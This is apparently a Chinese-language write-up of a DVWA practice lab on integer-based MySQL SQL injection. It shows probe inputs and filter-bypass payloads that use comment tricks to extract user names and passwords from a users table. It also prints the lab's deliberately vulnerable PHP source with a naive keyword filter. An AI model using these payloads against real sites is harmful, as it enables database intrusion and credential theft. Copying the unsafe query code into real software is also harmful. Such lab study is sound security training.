DVWA Sqli Mysql #01

mac2025-10-05  1

0x01 WooYun-2014-52257

输入1'后有报错 尝试注释后,仍然报错 感觉是整形注入,尝试1 and 1=2和1 and 1=1,有明显变化,确实是整形注入。 联合查询时显示有waf了union select 1,2 删除union不行,继续删除select,这次有报错了。 加上union,也会出现报错。 猜测问题在select上,尝试用大小写,双写,替换空格,编码,内联注释等绕过。 发现替换空格就行了,直接拿数据,-1 union/**/select/**/1,concat_ws("^",user,password) from users 感觉就是针对了select这个关键字做的过滤。

0x02 源码分析

WooYun-2014-52257 Source <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $id = trim(strtolower($id)); //将id转成小写,并且去掉id两侧的空格 $test = _do_query_safe($id); if($test != 1) { die('SQLi detected!'); } $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } function _do_query_safe($sql) { $sql = preg_replace('/\/\*.*\*\//','',$sql); //去掉/*(任意字符)*/,不允许使用内联注释 if(strstr($sql,"select")) //检查是否包含select { return -1; } return 1; } ?>

看完源码,我发现我错的有点离谱(完全是蒙对的),,, 这里写的很清楚了,/*(任意字符)*/全都被过滤,所以我的payload中的/**/select/**/刚刚好满足了这个要求,和空格其实没啥关系,我这纯属运气好。。。正确的应该payload应该是-1 union/*!select*/1,concat_ws("^",user,password) from users这种内联注释的方法。

最新回复(0)